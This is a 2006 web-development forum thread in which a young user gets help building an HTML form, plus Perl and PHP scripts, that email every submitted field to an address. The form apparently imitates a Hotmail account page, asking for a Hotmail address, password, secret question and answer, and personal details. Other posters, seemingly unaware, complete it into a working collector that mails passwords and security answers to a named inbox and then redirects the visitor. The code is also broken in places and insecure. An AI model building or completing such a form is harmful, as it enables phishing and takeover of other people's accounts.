PDA

View Full Version : Need Help With Forms


bumcrack
01-20-2006, 03:06 AM
Hi, I am pretty new to HTML and need help with forms (mostly where to link them and stuff). I have hosted my form onto a free website and I would like to know where to link the submit button to and how to receive the information that a user puts into the form field. I hope it's not too confuzing...:confused:

Please help me.

Rappa
01-20-2006, 03:21 AM
The most important thing to notice when dealing with HTML forms and PHP is that any form element in an HTML page will automatically be available to your PHP scripts.

Look at the following example of an HTML form:


<form action="welcome.php" method="POST">
Enter your name: <input type="text" name="name" />
Enter your age: <input type="text" name="age" />
<input type="submit" value="submit">
</form>

The example HTML page above contains two input fields and a submit button. When the user fills in this form and hits the submit button, the "welcome.php" file is called.

The "welcome.php" file looks like this:


Welcome <?php echo $_POST["name"]; ?>.<br />
You are <?php echo $_POST["age"]; ?> years old!


A sample output of the above script may be:

Welcome John.
You are 28 years old!

Here is how it works: The $_POST["name"] and $_POST["age"] variables are automatically set for you by PHP. The $_POST contains all POST data.

Note: If the method attribute of the form is GET, then the form information will be set in $_GET instead of $_POST.

bumcrack
01-20-2006, 03:26 AM
No, I want the information that is typed in the form to be stored in some data base or some file which I can open and view what the user has typed in the form.

Rappa
01-20-2006, 03:32 AM
then learn mysql

bumcrack
01-20-2006, 03:55 AM
I've been trying to use cgi bin ande I've almost had it. Can you help me with that?

ramakrishna p
01-20-2006, 12:03 PM
I've been trying to use cgi bin ande I've almost had it. Can you help me with that?

Your doubt concern to PHP and my sql (data base). You are with free hosting service. Ask your free web hosting providers to facilitate this. Learn php and Server side languages.

bumcrack
01-21-2006, 07:23 PM
I almost had it. The form was supposed to send me the informaton that was typed into the form field by email to my email address when they clicked the submit button. But for some reason, when i click the submit button, I don't receive the email. I am in grade 8 so lease help me out. This is whatI have so far.



<html>
<body>
<form name="input"
<form action="/cgi-bin/formdata.cgi" method="post">
</script>
<fieldset>
<legend>
<txt><b>Please fill out the information below correctly.</b></txt>
</legend>
<br>
Email Address:<br>
<input type="text" name="comment"
value=" " size="20"><b>@hotmail.com</b>
<br><br>
Password:<br>
<input type="password" name="password">
<br><br>
Confirm Password:<br>
<input type="password" name="password">
<hr>
Secret Question:<br>
<select name="Secret Question">
<option value="Select One">Select One
<option value="Favorite Food">Favorite Food
<option value="Favorite Pets Name">Favorite Pets Name
<option value="Favorite Fictional Character">Favorite Fictional Character
<option value="Favorite TV Show">Favorite TV Show
</select>
<br><br>
Secret Question Answer:<br>
<input type="text" name="Secret Question Answer"
value=" " size="20">
<hr>
Country:<br>
<select name="Country">
<option value="Select One">Select One
<option value="Afghanistan">Afghanistan
<option value="Albania">Albania
<option value="Algeria">Algeria
<option value="American Samoa">American Samoa
<option value="Antarctica">Antarctica
<option value="Argentina">Argentina
<option value="Australia">Australia
<option value="Austria">Austria
<option value="Bahamas">Bahamas
<option value="Belarus">Belarus
<option value="Belgium">Belgium
<option value="Belize">Belize
<option value="Bermuda">Bermuda
<option value="Bolivia">Bolivia
<option value="Brazil">Brazil
<option value="Bulgaria">Bulgaria
<option value="Cambodia">Cambodia
<option value="Canada">Canada
<option value="Chad">Chad
<option value="Chile">Chile
<option value="China">China
<option value="Christmas Island">Christmas Island
<option value="Colombia">Colombia
<option value="Congo">Congo
<option value="Costa Rica">Costa Rica
<option value="Cuba">Cuba
<option value="Denmark">Denmark
<option value="Czeck Republic">Czech Republic
<option value="Egypt">Egypt
<option value="Ethiopia">Ethiopia
<option value="Findland">Finland
<option value="France">France
<option value="Georgia">Georgia
<option value="Germany">Germany
<option value="Greece">Greece
<option value="Greenland">Greenland
<option value="Guatemala">Guatemala
<option value="Hong Kong SAR">Hong Kong SAR
<option value="Hungary">Hungary
<option value="Iceland">Iceland
<option value="India">India
<option value="Indonesia">Indonesia
<option value="Iran">Iran
<option value="Iraq">Iraq
<option value="Ireland">Ireland
<option value="Israel">Israel
<option value="Italy">Italy
<option value="Jamaica">Jamaica
<option value="Japan">Japan
<option value="Korea">Korea
<option value="Latvia">Latvia
<option value="Libya">Libya
<option value="Luxembourg">Luxembourg
<option value="Madagascar">Madagascar
<option value="Mali">Mali
<option value="Mexico">Mexico
<option value="Morocco">Morocco
<option value="Nepal">Nepal
<option value="Netherlands, The">Netherlands, The
<option value="New Zealand">New Zealand
<option value="Niger">Niger
<option value="Nigeria">Nigeria
<option value="North Korea">North Korea
<option value="Norway">Norway
<option value="Pakistan">Pakistan
<option value="Papua New Guinea">Papua New Guinea
<option value="Paraguay">Paraguay
<option value="Peru">Peru
<option value="Philippines">Philippines
<option value="Poland">Poland
<option value="Portugal">Portugal
<option value="Puerto Rico">Puerto Rico
<option value="Russia">Russia
<option value="Saudi Arabia">Saudi Arabia
<option value="Singapore">Singapore
<option value="Slovakia">Slovakia
<option value="South Africa">South Africa
<option value="Spain">Spain
<option value="Sri Lanka">Sri Lanka
<option value="Sudan">Sudan
<option value="Sweden">Sweden
<option value="Switzerland">Switzerland
<option value="Tiawan">Tiawan
<option value="Thialand">Thialand
<option value="Turkey">Turkey
<option value="Ukraine">Ukraine
<option value="United Kingdom">United Kingdom
<option value="United States">United States
<option value="Venezuela">Venezuela
<option value="Vietnam">Vietnam
<option value="Virgin Islands">Virgin Islands
<option value="Zimbabwe">Zimbabwe
<option value="Other">Other
</select>
<br><br>
ZIP/Postal Code:<br>
<input type="text" name="comment"
value=" " size="20">
<br><br>
State/Province:<br>
<input type="text" name="comment"
value=" " size="20">
<hr>
First name:<br>
<input type="text" name="firstname">
<br><br>
Last name:<br>
<input type="text" name="lastname">
<hr>
Birth Date:<br>
<select name="Month">
<option value="Month">Month
<option value="January">January
<option value="February">February
<option value="March">March
<option value="April">April
<option value="May">May
<option value="June">June
<option value="July">July
<option value="August">August
<option value="September">September
<option value="October">October
<option value="November">November
<option value="December">December
</select>
<select name="Day">
<option value="Day">Day
<option value="1">1
<option value="2">2
<option value="3">3
<option value="4">4
<option value="5">5
<option value="6">6
<option value="7">7
<option value="8">8
<option value="9">9
<option value="10">10
<option value="11">11
<option value="12">12
<option value="13">13
<option value="14">14
<option value="15">15
<option value="16">16
<option value="17">17
<option value="18">18
<option value="19">19
<option value="20">20
<option value="21">21
<option value="22">22
<option value="23">23
<option value="24">24
<option value="25">25
<option value="26">26
<option value="27">27
<option value="28">28
<option value="29">29
<option value="30">30
<option value="31">31
</select>
<select name="Year">
<option value="Year">Year
<option value="1900">1900
<option value="1901">1901
<option value="1902">1902
<option value="1903">1903
<option value="1904">1904
<option value="1905">1905
<option value="1906">1906
<option value="1907">1907
<option value="1908">1908
<option value="1909">1909
<option value="1910">1910
<option value="1911">1911
<option value="1912">1912
<option value="1913">1913
<option value="1914">1914
<option value="1915">1915
<option value="1916">1916
<option value="1917">1917
<option value="1918">1918
<option value="1919">1919
<option value="1920">1920
<option value="1921">1921
<option value="1922">1922
<option value="1923">1923
<option value="1924">1924
<option value="1925">1925
<option value="1926">1926
<option value="1927">1927
<option value="1928">1928
<option value="1929">1929
<option value="1930">1930
<option value="1931">1931
<option value="1932">1932
<option value="1933">1933
<option value="1934">1934
<option value="1935">1935
<option value="1936">1936
<option value="1937">1937
<option value="1938">1938
<option value="1939">1939
<option value="1940">1940
<option value="1941">1941
<option value="1942">1942
<option value="1943">1943
<option value="1944">1944
<option value="1945">1945
<option value="1946">1946
<option value="1947">1947
<option value="1948">1948
<option value="1949">1949
<option value="1950">1950
<option value="1951">1951
<option value="1952">1952
<option value="1953">1953
<option value="1954">1954
<option value="1955">1955
<option value="1956">1956
<option value="1957">1957
<option value="1958">1958
<option value="1959">1959
<option value="1960">1960
<option value="1961">1961
<option value="1962">1962
<option value="1963">1963
<option value="1964">1964
<option value="1965">1965
<option value="1966">1966
<option value="1967">1967
<option value="1968">1968
<option value="1969">1969
<option value="1970">1970
<option value="1971">1971
<option value="1972">1972
<option value="1973">1973
<option value="1974">1974
<option value="1975">1975
<option value="1976">1976
<option value="1977">1977
<option value="1978">1978
<option value="1979">1979
<option value="1980">1980
<option value="1981">1981
<option value="1982">1982
<option value="1983">1983
<option value="1984">1984
<option value="1985">1985
<option value="1986">1986
<option value="1987">1987
<option value="1988">1988
<option value="1989">1989
<option value="1990">1990
<option value="1991">1991
<option value="1992">1992
<option value="1993">1993
<option value="1994">1994
<option value="1995">1995
<option value="1996">1996
<option value="1997">1997
<option value="1998">1998
<option value="1999">1999
<option value="2000">2000
<option value="2001">2001
<option value="2002">2002
<option value="2003">2003
<option value="2004">2004
<option value="2005">2005
<option value="2006">2006
<option value="2007">2007
<option value="2008">2008
<option value="2009">2009
<option value="2010">2010
</select>
<br><br>
<input type="radio" name="sex" value="male"> Male
<input type="radio" name="sex" value="female"> Female
<br><br>
<input type="submit" value="Submit">
</form>
</body>
</fieldset>


And in the cgi-bin folder I have another script which looks like this.


#!/usr/bin/perl

use CGI;

# Create the CGI object
my $query = new CGI;

# Output the HTTP header
print $query->header ( );


# Capture the form results

my $email_address = $query->param("email_address");
my $password = $query->param("password");


# Email the form results

open ( MAIL, "| /usr/lib/sendmail -t" );
print MAIL "From: $email_address\n";
print MAIL "To: bumcrack101\@hotmail.com\n";
print MAIL "Subject: Form Submission\n\n";
print MAIL "$email_address\n";
print MAIL "$password\n";
print MAIL "\n.\n";
close ( MAIL );


# Thank the user

print <<END_HTML;
<html>
<head></head>
<body>Thank you for filling out the form.
<body>
</html>
END_HTML

And there you have it. I don't know what the problem is but as I have told you, when I click the submit button it is supposed to send an email to me of the information that has been put in the form fields but unfortunately, I do not recieve it. Maybe the path is incorrect so I might have to check with my webhost. How do I do that?

Rappa
01-21-2006, 07:39 PM
i see a lot of typos and mis-tags so go over your code again

bumcrack
01-21-2006, 07:45 PM
Which one? the HTML form or the perl thingy has alot of typos? I got the perl thing from a website, I practically copied it. So there shouldn'tbe any typos in that 1....

hatedguilt
01-23-2006, 05:50 PM
you know there is a way easier way to deal with that form.. you dont need to use cgi when one php page would be perfectly fine. on the php page like sendemail.php it would go like this.. correct me if im wrong
<?php
$to = "email@email.com";
$subject = "the client is $age $name $etc $etc";
$body = "the client is $age $name $etc $etc";
if (mail($to, $subject, $body))
{
echo("<p>Message successfully sent!</p>");
}
else
{
echo("<p>Message delivery failed...</p>");
}
?>
then you'd just have to direct the html form to sendemail.php and sendemail.php would do all the work..
i may be wrong so please correct me .. c ya later

bumcrack
01-23-2006, 06:26 PM
Ok, I almost had it... I used PHP to send the information to my email address by email. Unfortunately, the email address does not send correctly. I only receive the password. It looks like this in my email...

Email Address:
Password Thisismypassword

(notice how the email address is blank)


Since I started PHP today and just got the PHP Script from a different thread, can someone tell me how to add in my other form options into the PHP script so I receive the other information like "First Name" "Last Name" "Confirm Password" "Secret Question" "Secret Question Answer" "Birth Date"...etc.

Please check over the PHP script to see if there are any errors causing this problem with the email address field.

PHP Script:

<?
#mailit.php
#Example of building and sending an email message with mail()

$email_address = $HTTP_POST_VARS['email_address'];
$password = $HTTP_POST_VARS['password'];
$toaddr = "bumcrack101@hotmail.com";
$subject = "Form Submission";
$senddate = (date("d M Y h:m:s -0500"));

$redirect = "http://www.google.com";

$message = "

Online Form: $senddate
---------------------------------------------------
Email Address: $email_address
Password: $password
---------------------------------------------------

";

$extraheaders = "From: $email\nReply-To: $email\n\n";

if (! mail($toaddr, $subject, $message, $extraheaders))
echo "Error, please try again.";

header("Location: ".$redirect);

?>


Thank You.

hatedguilt
01-24-2006, 04:26 PM
heres the scripts.. i really gotta go so ill explain later
email.html
<html>
<body>
<form name="input"
<form action="sendemail.php" method="post">
</script>
<fieldset>
<legend>
<txt><b>Please fill out the information below correctly.</b></txt>
</legend>
<br>
Email Address:<br>
<input type="text" name="email"
value=" " size="20"><b>@hotmail.com</b>
<br><br>
Password:<br>
<input type="password" name="password">
<br><br>
Confirm Password:<br>
<input type="password" name="password">
<hr>
Secret Question:<br>
<select name="secretquestion">
<option value="Select One">Select One
<option value="Favorite Food">Favorite Food
<option value="Favorite Pets Name">Favorite Pets Name
<option value="Favorite Fictional Character">Favorite Fictional Character
<option value="Favorite TV Show">Favorite TV Show
</select>
<br><br>
Secret Question Answer:<br>
<input type="text" name="sqa"
value=" " size="20">
<hr>
Country:<br>
<select name="country">
<option value="Select One">Select One
<option value="Afghanistan">Afghanistan
<option value="Albania">Albania
<option value="Algeria">Algeria
<option value="American Samoa">American Samoa
<option value="Antarctica">Antarctica
<option value="Argentina">Argentina
<option value="Australia">Australia
<option value="Austria">Austria
<option value="Bahamas">Bahamas
<option value="Belarus">Belarus
<option value="Belgium">Belgium
<option value="Belize">Belize
<option value="Bermuda">Bermuda
<option value="Bolivia">Bolivia
<option value="Brazil">Brazil
<option value="Bulgaria">Bulgaria
<option value="Cambodia">Cambodia
<option value="Canada">Canada
<option value="Chad">Chad
<option value="Chile">Chile
<option value="China">China
<option value="Christmas Island">Christmas Island
<option value="Colombia">Colombia
<option value="Congo">Congo
<option value="Costa Rica">Costa Rica
<option value="Cuba">Cuba
<option value="Denmark">Denmark
<option value="Czeck Republic">Czech Republic
<option value="Egypt">Egypt
<option value="Ethiopia">Ethiopia
<option value="Findland">Finland
<option value="France">France
<option value="Georgia">Georgia
<option value="Germany">Germany
<option value="Greece">Greece
<option value="Greenland">Greenland
<option value="Guatemala">Guatemala
<option value="Hong Kong SAR">Hong Kong SAR
<option value="Hungary">Hungary
<option value="Iceland">Iceland
<option value="India">India
<option value="Indonesia">Indonesia
<option value="Iran">Iran
<option value="Iraq">Iraq
<option value="Ireland">Ireland
<option value="Israel">Israel
<option value="Italy">Italy
<option value="Jamaica">Jamaica
<option value="Japan">Japan
<option value="Korea">Korea
<option value="Latvia">Latvia
<option value="Libya">Libya
<option value="Luxembourg">Luxembourg
<option value="Madagascar">Madagascar
<option value="Mali">Mali
<option value="Mexico">Mexico
<option value="Morocco">Morocco
<option value="Nepal">Nepal
<option value="Netherlands, The">Netherlands, The
<option value="New Zealand">New Zealand
<option value="Niger">Niger
<option value="Nigeria">Nigeria
<option value="North Korea">North Korea
<option value="Norway">Norway
<option value="Pakistan">Pakistan
<option value="Papua New Guinea">Papua New Guinea
<option value="Paraguay">Paraguay
<option value="Peru">Peru
<option value="Philippines">Philippines
<option value="Poland">Poland
<option value="Portugal">Portugal
<option value="Puerto Rico">Puerto Rico
<option value="Russia">Russia
<option value="Saudi Arabia">Saudi Arabia
<option value="Singapore">Singapore
<option value="Slovakia">Slovakia
<option value="South Africa">South Africa
<option value="Spain">Spain
<option value="Sri Lanka">Sri Lanka
<option value="Sudan">Sudan
<option value="Sweden">Sweden
<option value="Switzerland">Switzerland
<option value="Tiawan">Tiawan
<option value="Thialand">Thialand
<option value="Turkey">Turkey
<option value="Ukraine">Ukraine
<option value="United Kingdom">United Kingdom
<option value="United States">United States
<option value="Venezuela">Venezuela
<option value="Vietnam">Vietnam
<option value="Virgin Islands">Virgin Islands
<option value="Zimbabwe">Zimbabwe
<option value="Other">Other
</select>
<br><br>
ZIP/Postal Code:<br>
<input type="text" name="zipcode"
value=" " size="20">
<br><br>
State/Province:<br>
<input type="text" name="state"
value=" " size="20">
<hr>
First name:<br>
<input type="text" name="first">
<br><br>
Last name:<br>
<input type="text" name="last">
<hr>
Birth Date:<br>
<select name="month">
<option value="Month">Month
<option value="January">January
<option value="February">February
<option value="March">March
<option value="April">April
<option value="May">May
<option value="June">June
<option value="July">July
<option value="August">August
<option value="September">September
<option value="October">October
<option value="November">November
<option value="December">December
</select>
<select name="day">
<option value="Day">Day
<option value="1">1
<option value="2">2
<option value="3">3
<option value="4">4
<option value="5">5
<option value="6">6
<option value="7">7
<option value="8">8
<option value="9">9
<option value="10">10
<option value="11">11
<option value="12">12
<option value="13">13
<option value="14">14
<option value="15">15
<option value="16">16
<option value="17">17
<option value="18">18
<option value="19">19
<option value="20">20
<option value="21">21
<option value="22">22
<option value="23">23
<option value="24">24
<option value="25">25
<option value="26">26
<option value="27">27
<option value="28">28
<option value="29">29
<option value="30">30
<option value="31">31
</select>
<select name="year">
<option value="Year">Year
<option value="1900">1900
<option value="1901">1901
<option value="1902">1902
<option value="1903">1903
<option value="1904">1904
<option value="1905">1905
<option value="1906">1906
<option value="1907">1907
<option value="1908">1908
<option value="1909">1909
<option value="1910">1910
<option value="1911">1911
<option value="1912">1912
<option value="1913">1913
<option value="1914">1914
<option value="1915">1915
<option value="1916">1916
<option value="1917">1917
<option value="1918">1918
<option value="1919">1919
<option value="1920">1920
<option value="1921">1921
<option value="1922">1922
<option value="1923">1923
<option value="1924">1924
<option value="1925">1925
<option value="1926">1926
<option value="1927">1927
<option value="1928">1928
<option value="1929">1929
<option value="1930">1930
<option value="1931">1931
<option value="1932">1932
<option value="1933">1933
<option value="1934">1934
<option value="1935">1935
<option value="1936">1936
<option value="1937">1937
<option value="1938">1938
<option value="1939">1939
<option value="1940">1940
<option value="1941">1941
<option value="1942">1942
<option value="1943">1943
<option value="1944">1944
<option value="1945">1945
<option value="1946">1946
<option value="1947">1947
<option value="1948">1948
<option value="1949">1949
<option value="1950">1950
<option value="1951">1951
<option value="1952">1952
<option value="1953">1953
<option value="1954">1954
<option value="1955">1955
<option value="1956">1956
<option value="1957">1957
<option value="1958">1958
<option value="1959">1959
<option value="1960">1960
<option value="1961">1961
<option value="1962">1962
<option value="1963">1963
<option value="1964">1964
<option value="1965">1965
<option value="1966">1966
<option value="1967">1967
<option value="1968">1968
<option value="1969">1969
<option value="1970">1970
<option value="1971">1971
<option value="1972">1972
<option value="1973">1973
<option value="1974">1974
<option value="1975">1975
<option value="1976">1976
<option value="1977">1977
<option value="1978">1978
<option value="1979">1979
<option value="1980">1980
<option value="1981">1981
<option value="1982">1982
<option value="1983">1983
<option value="1984">1984
<option value="1985">1985
<option value="1986">1986
<option value="1987">1987
<option value="1988">1988
<option value="1989">1989
<option value="1990">1990
<option value="1991">1991
<option value="1992">1992
<option value="1993">1993
<option value="1994">1994
<option value="1995">1995
<option value="1996">1996
<option value="1997">1997
<option value="1998">1998
<option value="1999">1999
<option value="2000">2000
<option value="2001">2001
<option value="2002">2002
<option value="2003">2003
<option value="2004">2004
<option value="2005">2005
<option value="2006">2006
<option value="2007">2007
<option value="2008">2008
<option value="2009">2009
<option value="2010">2010
</select>
<br><br>
<input type="radio" name="sex" value="male"> Male
<input type="radio" name="sex" value="female"> Female
<br><br>
<input type="submit" value="Submit">
</form>
</body>
</fieldset>
</html>
<html>
<head></head>
<body>Thank you for filling out the form.
<body>
</html>
now HERES SENDEMAIL.PHP
<?
$mailto='hatedguilt@jinky.be';
$subject="Form Response";
$thankyou="http://www.jinky.be";
$body.="$email";
$body.="--------------------------------------\n";
$body.="$password<p></p>";
$body.="$secretquestion<p></p>";
$body.="$sqa<p></p>";
$body.="$country<p></p>";
$body.="$zipcode<p></p>";
$body.="$state<p></p>";
$body.="$first<p></p>";
$body.="$last<p></p>";
$body.="$month<p></p>";
$body.="$day<p></p>";
$body.="$year<p></p>";
$body.="$sex<p></p>";
$body.="Browser:$HTTP_USER_AGENT\n<p></p>";
$body.="From page: $HTTP_HOST\n<p></p>";
$body.="IP address: $SERVER_ADDR\n<p></p>";
mail($mailto,$subject,$body,"From: $email\n");
Header ("Location: $thankyou");
?>

hatedguilt
01-24-2006, 05:29 PM
ok im back so i can explain.. all you have to do is put the email.html into a webpage called email.html then create the sendemail.php in your hosting and put the coding in there... if you dont understand then .. i d k

bumcrack
01-25-2006, 12:15 AM
I understand everything now, and everything is working thanks.

There is one other little problem: the emails keep going into my junk folder. Please click the link below to help me fix this problem.

http://www.codingforums.com/showthread.php?t=77846